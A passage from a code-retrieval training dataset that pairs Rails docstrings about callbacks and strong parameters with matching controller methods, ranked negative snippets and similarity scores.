"def destroy\n @question = Question.find(params[:id])\n @question.destroy\n respond_to do |format|\n format.html { redirect_to questions_url, notice: '削除しました。' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @question.destroy\n respond_to do |format|\n format.html { redirect_to admin_form_questions_path, notice: 'Вопрос успешно удалена' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @question_set = QuestionSet.find(params[:id])\n @question_set.destroy\n\n respond_to do |format|\n format.html { redirect_to question_sets_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @question = Question.find(params[:id])\n @question.destroy\n\n respond_to do |format|\n format.html { redirect_to(questions_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @question = Question.find(params[:id])\n @question.destroy\n\n respond_to do |format|\n format.html { redirect_to(questions_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @question = Question.find(params[:id])\n @question.destroy\n\n respond_to do |format|\n format.html { redirect_to(questions_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @question = Question.find(params[:id])\n @question.destroy\n\n respond_to do |format|\n format.html { redirect_to(questions_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @question = Question.find(params[:id])\n @question.destroy\n\n respond_to do |format|\n format.html { redirect_to(questions_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @question = Question.find(params[:id])\n @question.destroy\n\n respond_to do |format|\n format.html { redirect_to(questions_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @question = Question.find(params[:id])\n @question.destroy\n\n respond_to do |format|\n format.html { redirect_to(questions_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n redirect_to \"/\"\n # @question.destroy\n # respond_to do |format|\n # format.html { redirect_to questions_url, notice: 'Question was successfully destroyed.' }\n # format.json { head :no_content }\n # end\n end",
"def destroy\n @question.destroy\n respond_to do |format|\n format.html { redirect_to :back, notice: '質問を削除しました' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @critical_question = CriticalQuestion.find(params[:id])\n @critical_question.destroy\n\n respond_to do |format|\n format.html { redirect_to critical_questions_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @quiz.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end",
"def destroy\n @questionstatu.destroy\n respond_to do |format|\n format.html { redirect_to questionstatus_index_path, notice: 'Mytest was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @question = @quiz.questions.find(params[:id])\n @question.destroy\n\n respond_to do |format|\n format.html { redirect_to(quiz_questions_url(@quiz)) }\n format.xml { head :ok }\n end\n end",
"def destroy\n question = Question.find params[:id]\n question.destroy\n redirect_to root_path\n end",
"def destroy\n # before_action :set_question\n @question.destroy\n respond_to do |format|\n format.html { redirect_to questions_url, notice: \"質問を削除しました\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @tutorial_quest = Tutorial::Quest.find(params[:id])\n @tutorial_quest.destroy\n\n respond_to do |format|\n format.html { redirect_to tutorial_quests_url }\n format.json { head :ok }\n end\n end",
"def destroy\n authorize! :destroy, @admin_question\n\n @admin_question.destroy\n respond_to do |format|\n format.html { redirect_to admin_questions_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @questionnaire.destroy\n respond_to do |format|\n format.html { redirect_to questionnaires_url, notice: \"Questionnaire was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @multiple_choice_question = MultipleChoiceQuestion.find(params[:id])\n @multiple_choice_question.destroy\n\n respond_to do |format|\n format.html { redirect_to multiple_choice_questions_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @questionnaire.destroy\n respond_to do |format|\n format.html { redirect_to questionnaires_url, notice: 'Questionnaire was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @question_answer = Question::Answer.find(params[:id])\n @question_answer.destroy\n\n respond_to do |format|\n format.html { redirect_to question_answers_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @question_datum = QuestionDatum.find(params[:id])\n @question_datum.destroy\n\n respond_to do |format|\n format.html { redirect_to question_data_url }\n format.json { head :no_content }\n end\n end"
] | [
"0.7801243",
"0.77760345",
"0.762556",
"0.76092136",
"0.76092136",
"0.75923663",
"0.7591492",
"0.7591492",
"0.7591492",
"0.7591492",
"0.7591492",
"0.7591492",
"0.75907475",
"0.7587306",
"0.75842667",
"0.75842667",
"0.75842667",
"0.75842667",
"0.75842667",
"0.75842667",
"0.75230396",
"0.7521938",
"0.75034994",
"0.7487404",
"0.7483059",
"0.74802965",
"0.7471379",
"0.74472755",
"0.7411523",
"0.7400327",
"0.7396278",
"0.73958933",
"0.73958933",
"0.73786706",
"0.73282695",
"0.731888",
"0.7307296",
"0.7281833",
"0.7275456",
"0.7275456",
"0.7273961",
"0.72726333",
"0.72688025",
"0.72688025",
"0.72688025",
"0.72688025",
"0.72688025",
"0.72688025",
"0.72688025",
"0.72688025",
"0.72688025",
"0.72688025",
"0.72688025",
"0.72688025",
"0.72688025",
"0.72688025",
"0.72688025",
"0.72688025",
"0.72688025",
"0.72688025",
"0.72688025",
"0.72688025",
"0.72688025",
"0.72688025",
"0.72662324",
"0.7254097",
"0.72344744",
"0.72318906",
"0.7231518",
"0.7224935",
"0.7218936",
"0.72042894",
"0.71963614",
"0.7191909",
"0.7189872",
"0.7188845",
"0.7180424",
"0.7174741",
"0.7171938",
"0.7171938",
"0.7171938",
"0.7171938",
"0.7171938",
"0.7171938",
"0.7171938",
"0.7169605",
"0.71628475",
"0.7159758",
"0.7157889",
"0.7155177",
"0.7153101",
"0.7137531",
"0.7134621",
"0.7131761",
"0.7128248",
"0.7119295",
"0.71157247",
"0.71132",
"0.71129984",
"0.71128994"
] | 0.7357377 | 34 |
Use callbacks to share common setup or constraints between actions. | def set_question
@question = Question.find(params[:id])
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def set_required_actions\n # TODO: check what fields change to asign required fields\n end",
"def action_hook; end",
"def run_actions; end",
"def define_action_hook; end",
"def actions; end",
"def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end",
"def add_actions; end",
"def callbacks; end",
"def callbacks; end",
"def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end",
"def define_action_helpers; end",
"def post_setup\n end",
"def action_methods; end",
"def action_methods; end",
"def action_methods; end",
"def before_setup; end",
"def action_run\n end",
"def execute(setup)\n @action.call(setup)\n end",
"def define_action_helpers?; end",
"def set_actions\n actions :all\n end",
"def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end",
"def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end",
"def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end",
"def before_actions(*logic)\n self.before_actions = logic\n end",
"def setup_handler\n end",
"def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end",
"def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def workflow\n end",
"def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end",
"def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end",
"def before(action)\n invoke_callbacks *self.class.send(action).before\n end",
"def process_action(...)\n send_action(...)\n end",
"def before_dispatch(env); end",
"def after_actions(*logic)\n self.after_actions = logic\n end",
"def setup\n # override and do something appropriate\n end",
"def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end",
"def setup(_context)\n end",
"def setup(resources) ; end",
"def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end",
"def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end",
"def determine_valid_action\n\n end",
"def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end",
"def startcompany(action)\n @done = true\n action.setup\n end",
"def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end",
"def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end",
"def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end",
"def define_tasks\n define_weave_task\n connect_common_tasks\n end",
"def setup(&block)\n define_method(:setup, &block)\n end",
"def setup\n transition_to(:setup)\n end",
"def setup\n transition_to(:setup)\n end",
"def action\n end",
"def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend",
"def config(action, *args); end",
"def setup\n @setup_proc.call(self) if @setup_proc\n end",
"def before_action \n end",
"def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end",
"def action\n end",
"def matt_custom_action_begin(label); end",
"def setup\n # override this if needed\n end",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end",
"def after(action)\n invoke_callbacks *options_for(action).after\n end",
"def pre_task\n end",
"def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end",
"def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end",
"def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end",
"def setup_signals; end",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end",
"def initialize(*args)\n super\n @action = :set\nend",
"def after_set_callback; end",
"def setup\n #implement in subclass;\n end",
"def lookup_action; end",
"def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end",
"def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end",
"def release_actions; end",
"def around_hooks; end",
"def save_action; end",
"def setup(easy)\n super\n easy.customrequest = @verb\n end",
"def action_target()\n \n end",
"def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end",
"def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end",
"def before_setup\n # do nothing by default\n end",
"def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end",
"def default_action; end",
"def setup(&blk)\n @setup_block = blk\n end",
"def callback_phase\n super\n end",
"def advice\n end",
"def _handle_action_missing(*args); end",
"def duas1(action)\n action.call\n action.call\nend",
"def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end",
"def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end",
"def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend"
] | [
"0.6163163",
"0.6045976",
"0.5946146",
"0.591683",
"0.5890051",
"0.58349305",
"0.5776858",
"0.5703237",
"0.5703237",
"0.5652805",
"0.5621621",
"0.54210985",
"0.5411113",
"0.5411113",
"0.5411113",
"0.5391541",
"0.53794575",
"0.5357573",
"0.53402257",
"0.53394014",
"0.53321576",
"0.53124547",
"0.529654",
"0.5296262",
"0.52952296",
"0.52600986",
"0.52442724",
"0.52385926",
"0.52385926",
"0.52385926",
"0.52385926",
"0.52385926",
"0.5232394",
"0.523231",
"0.5227454",
"0.52226824",
"0.52201617",
"0.5212327",
"0.52079266",
"0.52050185",
"0.51754695",
"0.51726824",
"0.51710224",
"0.5166172",
"0.5159343",
"0.51578903",
"0.51522785",
"0.5152022",
"0.51518047",
"0.51456624",
"0.51398855",
"0.5133759",
"0.5112076",
"0.5111866",
"0.5111866",
"0.5110294",
"0.5106169",
"0.509231",
"0.50873137",
"0.5081088",
"0.508059",
"0.50677156",
"0.50562143",
"0.5050554",
"0.50474834",
"0.50474834",
"0.5036181",
"0.5026331",
"0.5022976",
"0.5015441",
"0.50121695",
"0.5000944",
"0.5000019",
"0.4996878",
"0.4989888",
"0.4989888",
"0.49864885",
"0.49797225",
"0.49785787",
"0.4976161",
"0.49683493",
"0.4965126",
"0.4958034",
"0.49559742",
"0.4954353",
"0.49535993",
"0.4952725",
"0.49467874",
"0.49423352",
"0.49325448",
"0.49282882",
"0.49269363",
"0.49269104",
"0.49252945",
"0.4923091",
"0.49194667",
"0.49174926",
"0.49173003",
"0.49171105",
"0.4915879",
"0.49155936"
] | 0.0 | -1 |
Never trust parameters from the scary internet, only allow the white list through. | def question_params
params.require(:question).permit(:dnsname, :recordtype, :server,:timeperiod)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def strong_params\n params.require(:user).permit(param_whitelist)\n end",
"def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end",
"def allow_params_authentication!; end",
"def allowed_params\n ALLOWED_PARAMS\n end",
"def default_param_whitelist\n [\"mode\"]\n end",
"def param_whitelist\n [:role, :title]\n end",
"def expected_permitted_parameter_names; end",
"def safe_params\n params.except(:host, :port, :protocol).permit!\n end",
"def strong_params\n params.require(:team_member).permit(param_whitelist)\n end",
"def permitir_parametros\n \t\tparams.permit!\n \tend",
"def strong_params\n params.require(:community).permit(param_whitelist)\n end",
"def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end",
"def strong_params\n params.require(:education).permit(param_whitelist)\n end",
"def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end",
"def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end",
"def param_whitelist\n [:rating, :review]\n end",
"def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end",
"def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end",
"def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end",
"def user_params\n params.permit(:name, :phoneNumber, :address, :postalCode, :local, :link, :counter, :latitude, :longitude) \n end",
"def valid_params_request?; end",
"def strong_params\n params.require(:experience).permit(param_whitelist)\n end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def whitelist_url_params\n params.require(:whitelist_url).permit(:domain)\n end",
"def allowed_params\n params.require(:allowed).permit(:email)\n end",
"def permitted_params\n []\n end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end",
"def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend",
"def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end",
"def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end",
"def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end",
"def user_params\n ActionController::Parameters.permit_all_parameters = true\n params.require(:user) #.permit(:name, :surname, :phone, :password, :email, :time_zone)\n end",
"def strong_params\n params.require(:metric_change).permit(param_whitelist)\n end",
"def safe_params\n params.require(:user).permit(:name)\n end",
"def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend",
"def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end",
"def check_params; true; end",
"def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end",
"def quote_params\n params.permit!\n end",
"def valid_params?; end",
"def paramunold_params\n params.require(:paramunold).permit!\n end",
"def user_params\n\t\tparams.permit(:nickname, :avatar, :description, :password, :gender, :birthday, :email, :phone, :qq_id, :wechat_id)\n\tend",
"def filtered_parameters; end",
"def user_params\n params.permit(\n \t:id,\n \t:email, \n \t:first_name, \n \t:last_name, \n \t:password, \n \t:confirm_token, \n \t:phone_number,\n \t:facebook_link,\n \t:car_model,\n \t:license_plate)\n end",
"def filtering_params\n params.permit(:email, :name)\n end",
"def check_params\n true\n end",
"def wx_public_params\n params.require(:wx_public).permit(:nickname, :manager, :alias)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def listing_params\n\t\tparams.permit(:address, :transit_info, :rules, :other_info, :lat, :lng)\n\tend",
"def social_account_params\n\t\t\tparams.require(:social_account).permit!\n\t\tend",
"def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end",
"def url_params\n params.require(:url).permit(:short_url, :original_url, :clicks, :ip_addresses)\n end",
"def user_params\n params.require(:user).permit(:uri, :username, :password, :realname, :email, :publicvisible)\n end",
"def model_params\n\t\tparams.require(:manager).permit(\n\t :user_name,\n :password,\n :email,\n \t\t\t)\n\tend",
"def article_params_whitelist\n params.require(:article).permit(:title, :description, category_ids: [])\n end",
"def college_whitelist_params\n params.require(:college_whitelist).permit(:status)\n end",
"def active_code_params\n params[:active_code].permit\n end",
"def filtering_params\n params.permit(:email)\n end",
"def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end",
"def ip_address_params\n\t\t\tparams.require(:ip_address).permit!\n end",
"def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end",
"def reserved_params\n params.require(:reserved).permit(:name, :email, :pax, :address, :KTP, :title)\n end",
"def post_params\n if current_user.admin? \n params.permit(:title, :body, :city, :country, :gps_location, :privacy, :visible, :latitude, :longitude, images: [], files: [])\n else \n params.permit(:title, :body, :city, :country, :gps_location, :privacy,:latitude, :longitude, images: [], files: [])\n end \n end",
"def list_params\n params.permit(:name)\n end",
"def filter_parameters; end",
"def filter_parameters; end",
"def vineyard_params\n params.permit(:vineyard_name, :email, :website_url, :phone, :address, :city, :region, :postcode, :country, :specialty, :description, :pet_friendly, :holiday, :tours, :events, :family_friendly, :cover_image, :image_one, :image_two, :image_three, :image_four, :user_id, :base64)\n end",
"def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end",
"def user_params\n params.permit(:name, :username, :email, :password, :img_url, :bg_url, :coinbank)\n end",
"def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end",
"def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end",
"def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end",
"def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end",
"def url_whitelist; end",
"def admin_social_network_params\n params.require(:social_network).permit!\n end",
"def filter_params\n params.require(:filters).permit(:letters)\n end",
"def origin_params\n params.permit(:country, :state, :city, :postal_code, :address, :description)\n end",
"def valid_params(params)\n params.permit(:login, :first_name, :last_name, \n :password, :password_confirmation)\n end",
"def sensitive_params=(params)\n @sensitive_params = params\n end",
"def permit_request_params\n params.permit(:address)\n end",
"def user_params\n # Ensure a user can't give themselves admin priveleges\n params.delete(:admin) if current_user.admin?\n params.require(:user).permit(:name, :email, :admin, :image)\n end",
"def secure_params\n params.require(:location).permit(:name)\n end",
"def strong_params\n params.require( :setting ).\n permit( :global_scan_limit, :per_user_scan_limit,\n :target_whitelist_patterns, :target_blacklist_patterns )\n end",
"def question_params\n params.require(:survey_question).permit(question_whitelist)\n end",
"def case_insensitive_params\n params.require(:case_insensitive).permit(:name)\n end",
"def empire_master_no_match_params\n params.require(:empire_master_no_match).permit(:uid, :last_name, :list, :search_date, :double, :source)\n end",
"def maintenance_request_params\n params[:maintenance_request].permit! #allow all parameters for now\n end",
"def unwanted_params\n params.require(:unwanted).permit(:title, :description, :image)\n end",
"def url_params\n params[:url].permit(:full)\n end",
"def backend_user_params\n params.permit!\n end",
"def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend",
"def speed_measurement_params\n\n #fuckit, to lazy to deal with permit crap right now\n ActionController::Parameters.permit_all_parameters = true\n\n params[:speed_measurement]\n end",
"def user_params\n params.permit(:name, :age, :username, :display_photo, :password)\n end",
"def get_params\r\n #params.require(:article).permit(:title, :permalink, :content, :source_site, :introtext, :type_id, :order_by, :searchable, :created_by, :edited_by, :published_by, :published_on, :user_id)\r\n params.require(:article).permit!\r\n\r\n end",
"def pub_params\n params.require(:pub).permit(:name, :description, :phone, :email, :hidden, :city_id, :address)\n end",
"def pass_params\n params[:pass].permit(:name, :price, :description, :colour, :events)\n end",
"def droptraining_params\n params.permit(:training_id,:user_id, :utf8, :authenticity_token, :commit)\n end",
"def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end",
"def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end"
] | [
"0.69792545",
"0.6781151",
"0.67419964",
"0.674013",
"0.6734356",
"0.6591046",
"0.6502396",
"0.6496313",
"0.6480641",
"0.6477825",
"0.64565",
"0.6438387",
"0.63791263",
"0.63740575",
"0.6364131",
"0.63192815",
"0.62991166",
"0.62978333",
"0.6292148",
"0.6290449",
"0.6290076",
"0.62894756",
"0.6283177",
"0.6242471",
"0.62382483",
"0.6217549",
"0.6214457",
"0.6209053",
"0.6193042",
"0.6177802",
"0.6174604",
"0.61714715",
"0.6161512",
"0.6151757",
"0.6150663",
"0.61461",
"0.61213595",
"0.611406",
"0.6106206",
"0.6105114",
"0.6089039",
"0.6081015",
"0.6071004",
"0.60620916",
"0.6019971",
"0.601788",
"0.6011056",
"0.6010898",
"0.6005122",
"0.6005122",
"0.6001556",
"0.6001049",
"0.59943926",
"0.5992201",
"0.59909594",
"0.5990628",
"0.5980841",
"0.59669393",
"0.59589154",
"0.5958826",
"0.5957911",
"0.5957385",
"0.5953072",
"0.59526145",
"0.5943361",
"0.59386164",
"0.59375334",
"0.59375334",
"0.5933856",
"0.59292704",
"0.59254247",
"0.5924164",
"0.59167904",
"0.59088355",
"0.5907542",
"0.59064597",
"0.5906243",
"0.5898226",
"0.589687",
"0.5896091",
"0.5894501",
"0.5894289",
"0.5891739",
"0.58860534",
"0.5882406",
"0.587974",
"0.58738774",
"0.5869024",
"0.58679986",
"0.5867561",
"0.5865932",
"0.5864461",
"0.58639693",
"0.58617616",
"0.5861436",
"0.5860451",
"0.58602303",
"0.5854586",
